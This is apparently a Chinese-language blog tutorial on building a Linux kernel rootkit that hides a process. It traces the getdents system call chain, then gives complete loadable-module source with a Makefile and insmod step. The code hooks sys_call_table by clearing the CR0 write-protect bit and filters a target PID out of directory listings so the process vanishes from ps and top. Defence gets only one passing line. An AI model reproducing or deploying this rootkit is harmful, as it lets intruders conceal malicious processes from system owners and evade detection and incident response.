测试环境:
Ubuntu18.04
内核版本:4.15.0
有的内核版本函数不一定都相同,有的修改的程度比较大,需要下载内核源码去看。
Linux内核源码:https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/
- 使用strace ps命令查看系统调用链,可以看到调用了很多函数。
- 在末尾会调用getdents函数(系统调用getdents()从打开文件描述符fd所引用的目录中读取几个linux_dirent结构到dirp所指向的缓冲区中。参数count指定该缓冲区的大小)。
- 也可以举一反三,hook openat函数,修改第二个参数pathname("/proc/4251/stat"),就看如何实现了。
getdents系统调用链:
- getdents系统调用的定义,可以发现filldir函数作为回调函数,filldir用于把一项记录(如一个目录下的文件或目录)填到返回的缓冲区里。但是从这里看不出哪里调用了filldir,形成不了调用链。
- 跟进iterate_dir函数。
- 可以看到这只是一个file_operations结构体中结构体指针,也就是说会有其他地方会对该指针赋值并调用。
- 通过搜索可以发现,很多地方都使用了file_operations结构体。
- 以adfs为例,可以看到dir_emit调用了ctx。
- 可以看到dir_emit调用了actor,也就是前面的filldir。
- filldir函数:
- 这样就形成了一条调用链。所以从这看,不管是hook getdents,还是filldir都是可以的。
HOOK getdents:
目的:隐藏top进程。
- 使用top命令创建一个top进程,PID号34519。
- 加载内核驱动。
sudo insmod procHide.ko
- 要隐藏的进程就不见了。
- 源码:
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>
#include <linux/fdtable.h>
#include <linux/proc_ns.h>
#ifndef __NR_getdents
#define __NR_getdents 141
#endif
pid_t PID = 34519; // 要隐藏的pid号
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
#define PF_INVISIBLE 0x10000000
unsigned long cr0;
static unsigned long *__sys_call_table;
typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
unsigned int);
orig_getdents_t orig_getdents;
/*获取sys_call_table地址*/
unsigned long *get_syscall_table_bf(void)
{
unsigned long *syscall_table;
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return syscall_table;
}
struct task_struct *find_task(pid_t pid)
{
struct task_struct *p = current;
for_each_process(p) {
if (p->pid == pid)
return p;
}
return NULL;
}
/*遍历需要隐藏的进程*/
static int is_invisible(pid_t pid)
{
struct task_struct *task;
if (!pid)
return 0;
task = find_task(pid);
if (!task)
return 0;
if (task->flags & PF_INVISIBLE)
return 1;
return 0;
}
asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
unsigned int count)
{
int ret = orig_getdents(fd, dirent, count); //调用sys_getdents,返回该目录文件下目录的总字节数
int err;
unsigned long off = 0;
struct linux_dirent *dir, *kdirent, *prev = NULL;
if (ret <= 0)
return ret;
/*创建内存,类似malloc*/
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
/*从用户层拷贝数据到内核层*/
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
while (off < ret) {
dir = (void *)kdirent + off; // 逐个获取linux_dirent结构体数据
if (is_invisible(simple_strtoul(dir->d_name, NULL, 10))) {
/*如果是第一个数据块,则直接覆盖第一个块*/
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
/*上一个进程数据的长度+=当前进程数据的长度
通过这种方式可以隐藏进程*/
prev->d_reclen += dir->d_reclen;
}else
prev = dir;
off += dir->d_reclen;
}
/*从内核层拷贝数据到用户层*/
err = copy_to_user(dirent, kdirent, ret);
if (err)
goto out;
out:
kfree(kdirent);
return ret;
}
/*通过设置flags位来查看是否是我们需要隐藏的进程*/
static inline void set_flags(pid_t pid)
{
struct task_struct *task;
if ((task = find_task(pid)) == NULL)
return;
/*判断是否已经修改过flags*/
if(task->flags < PF_INVISIBLE)
task->flags ^= PF_INVISIBLE;
}
static inline void protect_memory(void)
{
/*恢复cr0寄存器*/
write_cr0(cr0);
}
static inline void unprotect_memory(void)
{
/*将常量保护标记位去掉,变成可写*/
write_cr0(cr0 & ~0x00010000);
}
static int __init diamorphine_init(void)
{
__sys_call_table = get_syscall_table_bf();
if (!__sys_call_table)
return -1;
/*获取cr0寄存器的数据*/
cr0 = read_cr0();
/*保存原本的getdents的地址*/
orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
unprotect_memory();
/*替换原本的getdents的地址为我们构造的函数地址*/
__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
protect_memory();
set_flags(PID);
return 0;
}
static void __exit diamorphine_cleanup(void)
{
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
protect_memory();
}
module_init(diamorphine_init);
module_exit(diamorphine_cleanup);
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("lkm");
MODULE_DESCRIPTION("LKM rootkit");
- 下面这个方式是4.4.0内核版本以上,5.7.0内核版本以下。其他版本有其他版本的方式获取sys_call_table。参考:https://blog.csdn.net/q759451733/article/details/124105195
/*获取sys_call_table地址*/
unsigned long *get_syscall_table_bf(void)
{
unsigned long *syscall_table;
syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
return syscall_table;
}
- 因为sys_call_table的数组是只读类型的,所以其值是不可以修改的,因此我们需要将只读保护位去掉。cr0中有一个WP位,wp位0禁止写保护实模式。wp为1开启写保护 保护模式。
static inline void protect_memory(void)
{
write_cr0(cr0);
}
static inline void unprotect_memory(void)
{
write_cr0(cr0 & ~0x00010000);
}
- Makefile
KVERS = $(shell uname -r)
obj-m += procHide.o
build: kernel_modules
kernel_modules:
make -C /lib/modules/$(KVERS)/build M=$(CURDIR) modules
clean:
make -C /lib/modules/$(KVERS)/build M=$(CURDIR) clean
防御方法(个人认为是实现反防御,只要hook让对方的读写或者hook内核驱动,使其初始化函数失效即可,只要rootkit做的够绝,只能重装系统):
chrome-extension://ibllepbpahcoppkjjllbabhnigcbffpi/http://netinfo-security.org/EN/article/downloadArticleFile.do?attachType=PDF&id=7141
参考:
http://blog.chinaunix.net/uid-27189249-id-5783314.html
https://www.cnblogs.com/justcxtoworld/archive/2013/05/01/3053508.html
https://blog.csdn.net/kwame211/article/details/77531748
https://www.onitroad.com/jc/linux/man-pages/linux/man2/getdents.2.html
https://wohin.me/linux-rootkit-shi-yan-00022-rootkit-ji-ben-gong-neng-shi-xian-xyin-cang-wen-jian/
https://www.anquanke.com/post/id/195318#h2-2